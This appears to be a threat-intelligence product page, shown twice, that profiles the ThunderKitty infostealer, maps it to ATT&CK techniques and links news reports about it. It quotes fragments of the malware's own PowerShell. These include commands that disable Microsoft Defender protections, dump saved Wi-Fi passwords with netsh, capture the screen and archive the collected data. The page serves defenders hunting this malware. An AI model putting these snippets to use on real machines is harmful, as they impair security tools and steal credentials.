MalwareUsed by 1 actor

ThunderKitty

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

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THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details

SecDbg

The developer also offers an information stealer called ThunderKitty on GitHub, where they advertise a “Paid version.”

via proofpointproofpoint.com

MITRE ATT&CK

Techniques & procedures

16 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

2 techniques

T1059.001PowerShellEvidence1

"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy bypass -File "C:\Users\<USER>\AppData\Local\Temp\ThunderKitty-main/powershellstuff/SysInfo.ps1"

T1059.003Windows Command ShellEvidence1

"C:\Windows\system32\cmd.exe" /c "cd ^"C:\Users\<USER>\AppData\Local\Temp^" && start /wait ^"^" ^"C:\Users\<USER>\AppData\Local\Temp\ThunderKitty-main/main.bat^"

Persistence

1 technique

T1112Modify RegistryEvidence1

Set-MpPreference -DisableIntrusionPreventionSystem $true ` -DisableIOAVProtection $true ` -DisableRealtimeMonitoring $true

Stealth

1 technique

T1070.004File DeletionEvidence1

Remove-Item -Path $windkitty2save -Force -Recurse

Defense Impairment

1 technique

T1112Modify RegistryEvidence1

Set-MpPreference -DisableIntrusionPreventionSystem $true ` -DisableIOAVProtection $true ` -DisableRealtimeMonitoring $true

Credential Access

1 technique

T1555Credentials from Password StoresEvidence1

$Profiles += (netsh wlan show profiles) ... (netsh wlan show profile name="$_" key=clear) | Select-String 'Key Content\W+\:(.+)$'

Discovery

8 techniques

T1012Query RegistryEvidence1

Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*

T1016System Network Configuration DiscoveryEvidence1

"Local Network" = "ipconfig /all" ... "Routing Information" = "route print" ... "DNS Records" = "ipconfig /displaydns" ... "ARP Table" = "arp -a"

T1033System Owner/User DiscoveryEvidence1

"Current User" = "whoami /all"

T1049System Network Connections DiscoveryEvidence1

"Port Information" = "netstat -ano"

T1057Process DiscoveryEvidence1

(Get-Process | Select-Object ProcessName, Id) | Out-File "$sess\ThunderKitty-RunningPrograms.txt"

T1082System Information DiscoveryEvidence1

$systemInfo = @( "Computer Name: $($sys.Name)", "Manufacturer: $($sys.Manufacturer)", "Model: $($sys.Model)", "Total Physical Memory: $([math]::round($sys.TotalPhysicalMemory / 1MB, 2)) MB", "OS Name: $($OS.Caption)", "OS Version: $($OS.Version)", "OS Architecture: $($OS.OSArchitecture)", "GPU Name: $($gpu.Name)", "GPU Driver Version: $($gpu.DriverVersion)" )

T1087Account DiscoveryEvidence1

"Local Users" = "net user" "Admin Users" = "net localgroup administrators" ... "User Group Information" = "net localgroup"

T1518Software DiscoveryEvidence1

(Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate) | Out-File "$sess\ThunderKitty-InstalledPrograms.txt"

Collection

2 techniques

T1113Screen CaptureEvidence1

$windbit = New-Object Drawing.Bitmap([System.Windows.Forms.SystemInformation]::VirtualScreen.Width, [System.Windows.Forms.SystemInformation]::VirtualScreen.Height) ... $windbit.Save($2savescreenkitty, [System.Drawing.Imaging.ImageFormat]::Png)

T1560Archive Collected DataEvidence1

Compress-Archive -Path $windkitty2save -DestinationPath "$env:TEMP\ThunderKitty.zip" -Force

Other

1 technique

T1562Impair DefensesEvidence1

Set-MpPreference -DisableIntrusionPreventionSystem $true ` -DisableIOAVProtection $true ` -DisableRealtimeMonitoring $true ` -DisableScriptScanning $true

ACTIVITY FEED

Recent activity

3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

3 SOURCESView more in app

the hacker newsNews

Oct 18, 2024

Beware: Fake Google Meet Pages Deliver Infostealers in Ongoing ClickFix Campaign

ThunderKitty is an open-source infostealer, part of a new wave of malware that lowers the barrier to entry for cybercriminals.

proofpointNews

Sep 27, 2024

Security Brief: Royal Mail Lures Deliver Open Source Prince Ransomware | Proofpoint US

Information stealer advertised by the same developer behind Prince Ransomware, with a paid version offered on GitHub.

medium apophis133News

Jun 27, 2024

Medium

An information-stealing malware that executes via batch and PowerShell scripts, disables multiple Microsoft Defender protections, patches AMSI and ETW to evade detection, collects Wi-Fi profiles and passwords, running processes, installed software, detailed host information, screenshots, and command output, then compresses the stolen data for exfiltration.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping16

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Back to malware

MalwareUsed by 1 actor

ThunderKitty

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details

SecDbg

The developer also offers an information stealer called ThunderKitty on GitHub, where they advertise a “Paid version.”

via proofpointproofpoint.com

MITRE ATT&CK

Techniques & procedures

16 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

2 techniques

T1059.001PowerShellEvidence1

"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy bypass -File "C:\Users\<USER>\AppData\Local\Temp\ThunderKitty-main/powershellstuff/SysInfo.ps1"

T1059.003Windows Command ShellEvidence1

"C:\Windows\system32\cmd.exe" /c "cd ^"C:\Users\<USER>\AppData\Local\Temp^" && start /wait ^"^" ^"C:\Users\<USER>\AppData\Local\Temp\ThunderKitty-main/main.bat^"

Persistence

1 technique

T1112Modify RegistryEvidence1

Set-MpPreference -DisableIntrusionPreventionSystem $true ` -DisableIOAVProtection $true ` -DisableRealtimeMonitoring $true

Stealth

1 technique

T1070.004File DeletionEvidence1

Remove-Item -Path $windkitty2save -Force -Recurse

Defense Impairment

1 technique

T1112Modify RegistryEvidence1

Set-MpPreference -DisableIntrusionPreventionSystem $true ` -DisableIOAVProtection $true ` -DisableRealtimeMonitoring $true

Credential Access

1 technique

T1555Credentials from Password StoresEvidence1

$Profiles += (netsh wlan show profiles) ... (netsh wlan show profile name="$_" key=clear) | Select-String 'Key Content\W+\:(.+)$'

Discovery

8 techniques

T1012Query RegistryEvidence1

Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*

T1016System Network Configuration DiscoveryEvidence1

"Local Network" = "ipconfig /all" ... "Routing Information" = "route print" ... "DNS Records" = "ipconfig /displaydns" ... "ARP Table" = "arp -a"

T1033System Owner/User DiscoveryEvidence1

"Current User" = "whoami /all"

T1049System Network Connections DiscoveryEvidence1

"Port Information" = "netstat -ano"

T1057Process DiscoveryEvidence1

(Get-Process | Select-Object ProcessName, Id) | Out-File "$sess\ThunderKitty-RunningPrograms.txt"

T1082System Information DiscoveryEvidence1

T1087Account DiscoveryEvidence1

"Local Users" = "net user" "Admin Users" = "net localgroup administrators" ... "User Group Information" = "net localgroup"

T1518Software DiscoveryEvidence1

Collection

2 techniques

T1113Screen CaptureEvidence1

T1560Archive Collected DataEvidence1

Compress-Archive -Path $windkitty2save -DestinationPath "$env:TEMP\ThunderKitty.zip" -Force

Other

1 technique

T1562Impair DefensesEvidence1

Set-MpPreference -DisableIntrusionPreventionSystem $true ` -DisableIOAVProtection $true ` -DisableRealtimeMonitoring $true ` -DisableScriptScanning $true

ACTIVITY FEED

Recent activity

3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

3 SOURCESView more in app

the hacker newsNews

Oct 18, 2024

Beware: Fake Google Meet Pages Deliver Infostealers in Ongoing ClickFix Campaign

ThunderKitty is an open-source infostealer, part of a new wave of malware that lowers the barrier to entry for cybercriminals.

proofpointNews

Sep 27, 2024

Security Brief: Royal Mail Lures Deliver Open Source Prince Ransomware | Proofpoint US

Information stealer advertised by the same developer behind Prince Ransomware, with a paid version offered on GitHub.

medium apophis133News

Jun 27, 2024

Medium

What this page doesn’t show

The version that knows your environment.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping16

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.